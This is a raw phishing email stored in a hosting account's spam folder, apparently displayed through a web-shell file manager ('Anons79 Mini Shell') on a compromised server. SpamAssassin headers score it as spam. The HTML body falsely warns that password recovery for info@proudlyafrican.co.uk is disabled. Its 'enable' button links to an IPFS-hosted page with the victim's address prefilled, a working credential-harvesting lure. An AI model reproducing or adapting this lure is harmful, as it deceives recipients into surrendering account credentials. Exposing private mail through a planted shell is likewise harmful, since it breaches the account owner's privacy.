| Directory : /home/proudlyafrican/mail/.spam/new/ |
|
|
| Current File : //home/proudlyafrican/mail/.spam/new/1736996178.M897033P3031206.nc-ph-2432.beatq.tech,S=9037,W=9189 |
Return-Path: <accountant5@bluediamondhotel.com.vn>
Delivered-To: proudlyafrican+spam@nc-ph-2432.beatq.tech
Received: from nc-ph-2432.beatq.tech
by nc-ph-2432.beatq.tech with LMTP
id YINfNVJ1iGemQC4Am3PG5w
(envelope-from <accountant5@bluediamondhotel.com.vn>)
for <proudlyafrican+spam@nc-ph-2432.beatq.tech>; Thu, 16 Jan 2025 02:56:18 +0000
Return-path: <accountant5@bluediamondhotel.com.vn>
Envelope-to: info@proudlyafrican.co.uk
Delivery-date: Thu, 16 Jan 2025 02:56:18 +0000
Received: from [203.143.21.121] (port=55110 helo=bluediamondhotel.com.vn)
by nc-ph-2432.beatq.tech with esmtp (Exim 4.98)
(envelope-from <accountant5@bluediamondhotel.com.vn>)
id 1tYG3N-0000000Cib6-2Qho
for info@proudlyafrican.co.uk;
Thu, 16 Jan 2025 02:56:18 +0000
From: Recovery email <accountant5@bluediamondhotel.com.vn>
To: info@proudlyafrican.co.uk
Date: 16 Jan 2025 08:25:31 +0530
Message-ID: <20250116082530.005A118263D06753@bluediamondhotel.com.vn>
MIME-Version: 1.0
Content-Type: multipart/related;
boundary="----=_NextPart_000_0012_93BC54F9.A0EF6FE4"
X-Spam-Status: Yes, score=41.8
X-Spam-Score: 418
X-Spam-Bar: +++++++++++++++++++++++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "nc-ph-2432.beatq.tech",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: ACCOUNT PASSWORD RECOVERY DISABLED Your password recovery
option is disabled, this will help you to secure your acount, when you forget
your login details kindly turn it on immediately using the function below,
Content analysis details: (41.8 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net
[Blocked - see <https://www.spamcop.net/bl.shtml?203.143.21.121>]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[203.143.21.121 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[203.143.21.121 listed in sa-trusted.bondedsender.org]
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked.
See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URI: bafkreiayp4fhiuqxmnivqd6n7h43mo6t42mm4wcfmgimxjol6aajxi7ofa.ipfs.flk-ipfs.xyz]
[URI: proudlyafrican.co.uk]
0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to
Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[203.143.21.121 listed in sa-accredit.habeas.com]
1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail)
1.5 SPF_HELO_SOFTFAIL SPF: HELO does not match SPF record (softfail)
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
3.0 KAM_DMARC_REJECT DKIM has Failed or SPF has failed on the message and
the domain has a DMARC reject policy
0.5 SUBJ_ALL_CAPS Subject is all capitals
2.0 PDS_OTHER_BAD_TLD Untrustworthy TLDs
[URI: bafkreiayp4fhiuqxmnivqd6n7h43mo6t42mm4wcfmgimxjol6aajxi7ofa.ipfs.flk-ipfs.xyz (xyz)]
1.5 KAM_MXURI URI: URI begins with a mail exchange prefix, i.e. mx.[...]
0.0 HTML_MESSAGE BODY: HTML included in message
1.0 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of words
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.3 HTML_SHORT_LINK_IMG_2 HTML is very short with a linked image
3.5 URI_FLKIPFSXYZIPFS References Interplanetary File System PtP content
via flk-ipfs.xyz, likely phishing
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
18 KAM_IPFS Abused Protocol for Distributed Content
0.6 TO_NO_BRKTS_HTML_IMG To: lacks brackets and HTML and one image
0.0 URI_IPFS References Interplanetary File System PtP content, probable
phishing
5.0 KAM_SOMETLD_ARE_BAD_TLD .bar, .beauty, .buzz, .cam, .casa, .cfd,
.club, .date, .guru, .link, .live, .monster,
.online, .press, .pw, .quest, .rest, .sbs,
.shop, .stream, .top, .trade, .wiki, .work,
.xyz TLD abuse
X-Spam-Flag: YES
Subject: ***SPAM*** ACCOUNT EMERGENCY NOTICE
------=_NextPart_000_0012_93BC54F9.A0EF6FE4
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML>
<html><head>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
<meta name=3D"GENERATOR" content=3D"MSHTML 8.00.7600.16385"></head>
<body><p align=3D"center"><br><br><font size=3D"4"><strong>ACCOUNT PASSWORD=
RECOVERY DISABLED</strong></font><br><br>Your password recovery option is =
disabled, this will help you to secure your acount,<br> when you forget you=
r login details kindly turn it on immediately using the function below,&nbs=
p;<br><br><font color=3D"#3a3a3a" face=3D"Calibri"><font color=3D"#3637c9">=
⦿ Affectd email : info@proudlyafrican.co.uk</font>=
</font><font style=3D"background-color: rgb(47, 61, 208);">
<font style=3D"background-color: rgb(255, 255, 255);"><br><font color=3D"#3=
a3a3a"><font color=3D"#3637c9" face=3D"Calibri"> ⦿ =
Domain server : proudlyafrican.co.uk<br><br><br> <a href=
=3D"https://bafkreiayp4fhiuqxmnivqd6n7h43mo6t42mm4wcfmgimxjol6aajxi7ofa.ipf=
s.flk-ipfs.xyz#info@proudlyafrican.co.uk"><img align=3D"baseline" alt=3D"" =
src=3D"cid:enable.png" border=3D"0" hspace=3D"0" width=3D"151" height=3D"35=
"></a><br><br><br><font color=3D"#2d59d2">Copyright mail.proudlyafrican.co.=
uk<br></font>
<span style=3D'color: rgb(34, 34, 34); font-family: "times new roman", seri=
f; font-size: small;'><font size=3D"2">© 2025 All rights reserved.</f=
ont></span></font></font></font></font><br><br><br></p></body></html>
------=_NextPart_000_0012_93BC54F9.A0EF6FE4
Content-Type: image/png; name="enable.png"
Content-Transfer-Encoding: base64
Content-ID: <enable.png>
iVBORw0KGgoAAAANSUhEUgAAAJcAAAAjCAYAAACZxJgaAAAAAXNSR0IArs4c6QAAAARnQU1B
AACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAT9SURBVHhe7ZkxaxtJFMf/d6RZldpC
h5DBhLMwqFhDVLg1ASEELoQ/gOEcCIFcFVIIrgyoCFflIATsA38A4yJgjCG4TaEDqxAE5UgE
EcqpWJXe8u7N7Ix2V7urlSxNitz7gdnRarRv5s1/3nuz/uFf4tf322CYdfOjujLM2mFxMcZg
cTHGYHExxmBxMcZgcTHGYHExxmBxMcZgcTHGYHExxmBxMcZgcTHG4H9cG6OCql1W7T46bk+1
w1RQtFTT62Gkmt8LdxBXBfvOGWraKREGuOrW8XXjAw7z4vM1Tt8/QUd+R9iv8WprD+PhAV4M
lbOt5/jNOUJBtL0TtLsvlZPT7YwnJ/izL/rpPr7dt57qIMke56L94/bUFxH0M0lU5d9p/pvy
3tjbREH2D9uk51CfmuyjGaA7fIZj8ku17Puv+3Ebx676miiWLtEqbZL/Wuja7TnjeAaUM+ai
1iLq8yYe7bbhzK7bHVkpLYrJC2EGf7MLtofDclO1kynaD31hCayHeJDgkMDOAU4nQCF/hFbG
c8NkjzNKxN5wkGgv7ZnFkhLWpIU23XvR3UabngFsolZ+jiK1qmLhp318O1ckQqd0hkc2KMpd
SxuOHbZZwQPbF2zX7fu3iKy5pc7F/YNsUgfrCL+UKrJvtSyEJX6zurAE5muufFs6LBntMA05
2PYnmkwPnS8nGIum9bNcKLOQPffdEvaaaFBkkdHjy/k0zY0oIvkLKTZPEzs6qvd1nx7eDpWg
SiRA9wpd8SH/GPt6s9lP/UjkvcNfczZGOrNzIZt935cF2hD7FMnqYlwUyS5C0XIVjIprrJzg
bL1G1W9GsRpwpMNEaFYTtRtzFpFSzoafQsfuxXTxzBHYg/d3tj1atJ/ENSYAWkiKYDKq5Goy
OsD7FH2eFpR1n+Z/jgsV7fRmq9qUwojuUKewZUmYi/cSl5QJZFSlFFkQm0Km//WwkricrQ94
tRv8RSMUhe/+tkxjaelRp0QpFD1RCtONmUgX2DmTtYisG3TNtgDzxxknbo/SF0WZMInPzN33
F28RMsQ6UlGmUHqKKtWlOtrdzESVrLllzaXTp/pNtTF5M7dcWJa11lzh4lMzHTylR1lATglS
YoFqDeEA/xBADonUGlE7bUofsm5w/PplERYZZxjd36+ViNt+TAiJz7z95KedRchKs9OoQhuT
Djwy2k2uYrVQ1tyy53KOG2mH+rrRDbQq5msuGvzxR7+eiKBrCNpJgXO0EGvJaZQYDXX6SC7+
18lo+Ebamp+qQ1A0+kdcY2MTp0wRPS6xDyVAmf5C2PF0qQt7zSqLv/Rc1sA3EBfhPlHpMWBa
Q0QcpnfRHnZSUldRLwI+4+saQ3gyajwJqTqZoFaqbTSniyhOkNNi3A0iUl2d0qT4Sgk1lT7R
CVYutJedy+rcU9c7IfP5lvqgEGH4RrXDiPS4I9+hCBqpNYTYrYf5PUqNDVypezE73jUVnuK4
TIsib9BiUmSoybaC6rLU3xNinFnpUSBOp3VKwzJVh14BpD5zWMdp7pLm0EZr93H0PZcqlkfC
Fw75QpQD9gBji/rQfVEPRcfUIzEOUBPvtlIOMMnjOEhMz9G5rDcFJsFv6E1h0eksp97QU53T
8eIHkKJF0S3nt0e353So8dvfCywuxhjfpuZi/pewuBhjsLgYY7C4GGOwuBhjsLgYY7C4GGOw
uBhjsLgYY7C4GEMA/wGPR5dltREGCgAAAABJRU5ErkJggg==
------=_NextPart_000_0012_93BC54F9.A0EF6FE4--
Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]
Anons79 Mini Shell